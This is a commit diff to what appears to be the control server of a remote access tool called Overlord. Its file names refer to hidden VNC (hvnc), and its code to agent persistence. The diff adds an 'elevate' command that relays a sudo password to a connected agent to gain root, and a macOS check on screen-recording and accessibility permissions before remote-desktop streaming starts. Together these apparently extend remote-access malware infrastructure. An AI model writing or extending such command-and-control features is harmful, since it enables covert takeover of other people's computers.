new mac update for permission issues.

Overlord-Server/src/server/routes/client-routes.ts

@@ -666,6 +666,50 @@ export async function handleClientRoutes(
             details: "Agent uninstall requested - persistence will be removed",
             success: true,
           });
+        } else if (action === "elevate") {
+          if (user.role !== "admin") {
+            return new Response("Forbidden: Admin access required", { status: 403 });
+          }
+
+          const password = typeof body?.password === "string" ? body.password : "";
+          if (!password) {
+            return new Response("Bad request: password required", { status: 400 });
+          }
+
+          const cmdId = uuidv4();
+          const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
+            const timeout = setTimeout(() => {
+              deps.pendingCommandReplies.delete(cmdId);
+              reject(new Error("Elevation timed out"));
+            }, 30_000);
+            deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
+          });
+
+          target.ws.send(
+            encodeMessage({
+              type: "command",
+              commandType: "elevate",
+              id: cmdId,
+              payload: { password },
+            }),
+          );
+          metrics.recordCommand("elevate");
+          logAudit({
+            timestamp: Date.now(),
+            username: user.username,
+            ip,
+            action: AuditAction.COMMAND,
+            targetClientId: targetId,
+            success: true,
+            details: "elevate (sudo)",
+          });
+
+          try {
+            const result = await replyPromise;
+            return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
+          } catch (error: any) {
+            return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
+          }
         } else {
           success = false;
           return new Response("Bad request", { status: 400 });

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -314,6 +314,21 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
   switch (payload.type) {
     case "desktop_start":
       if (!state.isStreaming) {
+        if (target.os === "darwin" && target.permissions) {
+          const missing: string[] = [];
+          if (!target.permissions.screenRecording) missing.push("screenRecording");
+          if (!target.permissions.accessibility) missing.push("accessibility");
+          if (missing.length > 0) {
+            logger.info(`[rd] macOS permission gate: client ${clientId} missing ${missing.join(", ")}`);
+            safeSendViewer(ws, {
+              type: "status",
+              status: "permissions_denied",
+              missing,
+              permissions: target.permissions,
+            });
+            break;
+          }
+        }
         sendDesktopCommand(target, "desktop_start", {});
         state.isStreaming = true;
         rdStreamingState.set(clientId, state);